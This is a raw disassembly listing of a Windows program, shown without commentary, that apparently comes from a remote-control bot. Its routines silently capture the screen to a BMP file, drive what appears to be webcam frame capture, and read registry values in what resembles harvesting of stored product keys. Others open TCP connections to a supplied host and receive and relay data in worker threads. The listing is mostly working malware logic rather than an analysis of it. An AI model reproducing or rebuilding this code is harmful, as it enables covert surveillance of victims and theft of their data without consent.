var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4E3074	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_415F4F
		push	8
		push	edi
		call	dword_4E3090	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4E3090	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4E3090	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_415D7D
		push	18h
		push	edi
		call	dword_4E3090	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_415D7F
; ---------------------------------------------------------------------------

loc_415D7D:				; CODE XREF: sub_415D1B+50j
		xor	ebx, ebx

loc_415D7F:				; CODE XREF: sub_415D1B+60j
		push	edi
		call	dword_4E30D4	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_415F34
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4E30CC	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_415F3F
		push	eax
		push	[ebp+var_4]
		call	dword_4E2F58	; SelectObject
		cmp	eax, esi
		jz	loc_415F3F
		cmp	eax, 0FFFFFFFFh
		jz	loc_415F3F
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4E30D0	; BitBlt
		test	eax, eax
		jz	loc_415F3F
		cmp	ebx, esi
		jz	short loc_415E3C
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4E2FAC	; GetDIBColorTable
		mov	ebx, eax

loc_415E3C:				; CODE XREF: sub_415D1B+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	dword_4F53C0	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_415F1F
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	dword_4F53B4	; WriteFile
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	dword_4F53B4	; WriteFile
		cmp	ebx, esi
		jz	short loc_415F01
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	dword_4F53B4	; WriteFile

loc_415F01:				; CODE XREF: sub_415D1B+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	dword_4F53B4	; WriteFile
		push	[ebp+arg_0]
		call	dword_4F533C	; CloseHandle
		xor	esi, esi
		inc	esi

loc_415F1F:				; CODE XREF: sub_415D1B+1A2j
		push	[ebp+var_1C]
		call	dword_4E2FE4	; DeleteObject
		push	[ebp+var_4]
		call	dword_4E2F44	; DeleteDC
		mov	edi, [ebp+var_20]

loc_415F34:				; CODE XREF: sub_415D1B+70j
		push	edi
		call	dword_4E2F44	; DeleteDC
		mov	eax, esi
		jmp	short loc_415F51
; ---------------------------------------------------------------------------

loc_415F3F:				; CODE XREF: sub_415D1B+C7j
					; sub_415D1B+D9j ...
		push	edi
		call	dword_4E2F44	; DeleteDC
		push	[ebp+var_4]
		call	dword_4E2F44	; DeleteDC

loc_415F4F:				; CODE XREF: sub_415D1B+23j
		xor	eax, eax

loc_415F51:				; CODE XREF: sub_415D1B+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F56	proc near		; CODE XREF: sub_401C87+74CEp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EAC98
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4E2FD8
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415F94
		mov	eax, esi
		jmp	loc_41614A
; ---------------------------------------------------------------------------

loc_415F94:				; CODE XREF: sub_415F56+35j
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_415FB1
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4E30E4	; SendMessageA
		jmp	short loc_415FB3
; ---------------------------------------------------------------------------

loc_415FB1:				; CODE XREF: sub_415F56+47j
		xor	eax, eax

loc_415FB3:				; CODE XREF: sub_415F56+59j
		cmp	eax, ebx
		jnz	short loc_415FBE

loc_415FB7:				; CODE XREF: sub_415F56+88j
					; sub_415F56+BCj
		mov	ebx, esi
		jmp	loc_41613F
; ---------------------------------------------------------------------------

loc_415FBE:				; CODE XREF: sub_415F56+5Fj
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_415FDB
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_415FDB:				; CODE XREF: sub_415F56+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415FB7
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_416001
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_416004
; ---------------------------------------------------------------------------

loc_416001:				; CODE XREF: sub_415F56+98j
		mov	[ebp+arg_4], ebx

loc_416004:				; CODE XREF: sub_415F56+A9j
		push	[ebp+arg_4]
		call	sub_41BE40
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415FB7
		push	[ebp+arg_4]
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41602B
		xor	ebx, ebx
		inc	ebx
		jmp	loc_41613F
; ---------------------------------------------------------------------------

loc_41602B:				; CODE XREF: sub_415F56+CBj
		push	[ebp+var_4]
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416048
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_416048:				; CODE XREF: sub_415F56+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41FBF0
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_416063
		mov	ecx, 280h

loc_416063:				; CODE XREF: sub_415F56+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_41606F
		mov	eax, 1E0h

loc_41606F:				; CODE XREF: sub_415F56+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E3028	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_4160B9
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_4160B9:				; CODE XREF: sub_415F56+153j
		push	[ebp+var_4]
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4160D6
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_4160D6:				; CODE XREF: sub_415F56+16Ej
		push	[ebp+var_4]
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4160F5
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_4160F5:				; CODE XREF: sub_415F56+18Bj
		push	[ebp+var_4]
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416112
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_416112:				; CODE XREF: sub_415F56+1AAj
		push	[ebp+var_8]
		call	sub_41C9D0
		push	esi
		call	sub_41C9D0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_41613F
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4E30E4	; SendMessageA

loc_41613F:				; CODE XREF: sub_415F56+63j
					; sub_415F56+D0j ...
		push	[ebp+var_4]
		call	dword_4E3138	; DestroyWindow
		mov	eax, ebx

loc_41614A:				; CODE XREF: sub_415F56+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41614F	proc near		; CODE XREF: sub_401C87+758Ap

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		inc	esi
		xor	ebx, ebx
		push	esi
		push	dword_4EAC98
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow_0 ; "Window"
		call	dword_4E2FD8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41618D
		mov	eax, esi
		jmp	loc_416389
; ---------------------------------------------------------------------------

loc_41618D:				; CODE XREF: sub_41614F+35j
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4161AA
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4E30E4	; SendMessageA
		jmp	short loc_4161AC
; ---------------------------------------------------------------------------

loc_4161AA:				; CODE XREF: sub_41614F+47j
		xor	eax, eax

loc_4161AC:				; CODE XREF: sub_41614F+59j
		cmp	eax, ebx
		jnz	short loc_4161B7

loc_4161B0:				; CODE XREF: sub_41614F+8Bj
					; sub_41614F+BCj
		mov	ebx, esi
		jmp	loc_416380
; ---------------------------------------------------------------------------

loc_4161B7:				; CODE XREF: sub_41614F+5Fj
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4161D7
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_4161D7:				; CODE XREF: sub_41614F+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_4161B0
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4161FA
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4E30E4	; SendMessageA
		mov	[ebp+arg_4], eax
		jmp	short loc_4161FD
; ---------------------------------------------------------------------------

loc_4161FA:				; CODE XREF: sub_41614F+96j
		mov	[ebp+arg_4], ebx

loc_4161FD:				; CODE XREF: sub_41614F+A9j
		push	[ebp+arg_4]
		call	sub_41BE40
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4161B0
		push	[ebp+arg_4]
		call	sub_41BE40
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_416224
		xor	ebx, ebx
		inc	ebx
		jmp	loc_416380
; ---------------------------------------------------------------------------

loc_416224:				; CODE XREF: sub_41614F+CBj
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416241
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_416241:				; CODE XREF: sub_41614F+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41FBF0
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_41625C
		mov	ecx, 0A0h

loc_41625C:				; CODE XREF: sub_41614F+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_416266
		push	78h
		pop	eax

loc_416266:				; CODE XREF: sub_41614F+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4162AB
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_4162AB:				; CODE XREF: sub_41614F+14Aj
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_4162C8
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_4162C8:				; CODE XREF: sub_41614F+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416306
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_416306:				; CODE XREF: sub_41614F+1A3j
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416321
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_416321:				; CODE XREF: sub_41614F+1C0j
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_41633A
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_41633A:				; CODE XREF: sub_41614F+1DBj
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416357
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_416357:				; CODE XREF: sub_41614F+1F4j
		push	[ebp+var_4]
		call	sub_41C9D0
		push	esi
		call	sub_41C9D0
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E3028	; IsWindow
		test	eax, eax
		jz	short loc_416380
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4E30E4	; SendMessageA

loc_416380:				; CODE XREF: sub_41614F+63j
					; sub_41614F+D0j ...
		push	edi
		call	dword_4E3138	; DestroyWindow
		mov	eax, ebx

loc_416389:				; CODE XREF: sub_41614F+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41614F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41638E	proc near		; CODE XREF: sub_401C87+25AAp

var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_EC		= byte ptr -0ECh
var_6C		= byte ptr -6Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		push	edi
		xor	edi, edi
		cmp	off_44E1EC, edi
		mov	[ebp+var_8], 80h
		jz	loc_41653E
		push	ebx
		push	esi
		mov	eax, offset off_44E1EC
		mov	esi, offset dword_44E1F8

loc_4163B9:				; CODE XREF: sub_41638E+1A8j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	edi
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4E30F8	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		push	edi
		push	edi
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4E2F88	; RegQueryValueExA
		test	eax, eax
		jnz	loc_416525
		mov	eax, [esi]
		cmp	eax, edi
		jz	loc_4164E5
		push	eax
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	offset dword_44E620
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_3F0]
		push	(offset	aSr+2)
		push	eax
		call	sub_41E490
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, edi
		jz	loc_416525
		jmp	short loc_416444
; ---------------------------------------------------------------------------

loc_416432:				; CODE XREF: sub_41638E+C7j
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_6C]
		push	eax
		call	sub_41EBB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41645C

loc_416444:				; CODE XREF: sub_41638E+A2j
		push	ebx
		lea	eax, [ebp+var_6C]
		push	64h
		push	eax
		call	sub_41EFB0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_416432
		jmp	loc_4164DC
; ---------------------------------------------------------------------------

loc_41645C:				; CODE XREF: sub_41638E+B4j
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41F720
		pop	ecx
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_6C]
		jz	short loc_41649F
		push	(offset	aSr+4)
		push	eax
		call	sub_41F870
		push	(offset	aSr+6)
		push	edi
		call	sub_41F870
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E62C
		push	eax
		call	sub_41EA60
		add	esp, 20h
		jmp	short loc_4164B7
; ---------------------------------------------------------------------------

loc_41649F:				; CODE XREF: sub_41638E+DFj
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E644
		push	eax
		call	sub_41EA60
		add	esp, 10h

loc_4164B7:				; CODE XREF: sub_41638E+10Fj
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415A3C
		add	esp, 18h

loc_4164DC:				; CODE XREF: sub_41638E+C9j
		push	ebx
		call	sub_41BCF0
		pop	ecx
		jmp	short loc_416525
; ---------------------------------------------------------------------------

loc_4164E5:				; CODE XREF: sub_41638E+65j
		lea	eax, [ebp+var_EC]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	dword ptr [esi-4]
		push	offset dword_44E65C
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_2EC]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_415A3C
		add	esp, 28h

loc_416525:				; CODE XREF: sub_41638E+5Bj
					; sub_41638E+9Cj ...
		push	[ebp+var_4]
		call	dword_4E3064	; RegCloseKey
		add	esi, 18h
		lea	eax, [esi-0Ch]
		cmp	[eax], edi
		jnz	loc_4163B9
		pop	esi
		pop	ebx

loc_41653E:				; CODE XREF: sub_41638E+19j
		pop	edi
		leave
		retn
sub_41638E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416541	proc near		; CODE XREF: sub_4165C7+33p
					; sub_416B2D+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4E3108	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_4165BD
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4E3088	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4E30C8	; inet_addr
		cmp	eax, esi
		jnz	short loc_4165A2
		push	[ebp+arg_0]
		call	dword_4E310C	; gethostbyname
		test	eax, eax
		jz	short loc_4165BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_4165A2:				; CODE XREF: sub_416541+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4E3030	; connect
		cmp	eax, esi
		jnz	short loc_4165C1
		push	edi
		call	dword_4E3120	; closesocket

loc_4165BD:				; CODE XREF: sub_416541+1Bj
					; sub_416541+58j
		mov	eax, esi
		jmp	short loc_4165C3
; ---------------------------------------------------------------------------

loc_4165C1:				; CODE XREF: sub_416541+73j
		mov	eax, edi

loc_4165C3:				; CODE XREF: sub_416541+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_416541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C7	proc near		; DATA XREF: sub_401C87+9DEo

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41EF80
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	[ebp+var_14]
		xor	esi, esi
		inc	esi
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_416541
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41665A
		lea	eax, [ebp+var_11B4]
		push	offset unk_44E674
		push	eax
		call	sub_41EA60
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_41663D
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409C75
		add	esp, 14h

loc_41663D:				; CODE XREF: sub_4165C7+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415A3C
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_41665A:				; CODE XREF: sub_4165C7+3Fj
		push	offset dword_4EACB4
		push	ebx
		call	sub_41A8ED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4166C5
		lea	eax, [ebp+var_11B4]
		push	offset unk_44E698
		push	eax
		call	sub_41EA60
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4166A1
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409C75
		add	esp, 14h

loc_4166A1:				; CODE XREF: sub_4165C7+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	ebx
		call	dword_4E3120	; closesocket
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread

loc_4166C5:				; CODE XREF: sub_4165C7+A3j
		push	64h
		call	dword_4F534C	; Sleep
		xor	edi, edi
		mov	esi, 1000h

loc_4166D4:				; CODE XREF: sub_4165C7+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E30A0	; recv
		test	eax, eax
		jle	short loc_416731
		lea	eax, [ebp+var_11B4]
		push	offset asc_44E6C8 ; "\n"
		push	eax
		call	sub_41F630
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_41A6D9
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416731
		push	64h
		call	dword_4F534C	; Sleep
		push	0Ah
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jnz	short loc_4166D4

loc_416731:				; CODE XREF: sub_4165C7+130j
					; sub_4165C7+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_44E6CC
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_416764
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409C75
		add	esp, 14h

loc_416764:				; CODE XREF: sub_4165C7+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415A3C
		pop	ecx
		push	ebx
		call	dword_4E3120	; closesocket
		push	[ebp+var_10]
		call	sub_40B9A7
		pop	ecx
		push	edi
		call	dword_4F53A0	; ExitThread
sub_4165C7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416788	proc near		; DATA XREF: sub_401C87+78BCo

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		xor	ebx, ebx
		xor	esi, esi
		inc	ebx
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4E3108	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_4167D6
		push	offset unk_44E700
		jmp	loc_41698F
; ---------------------------------------------------------------------------

loc_4167D6:				; CODE XREF: sub_416788+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
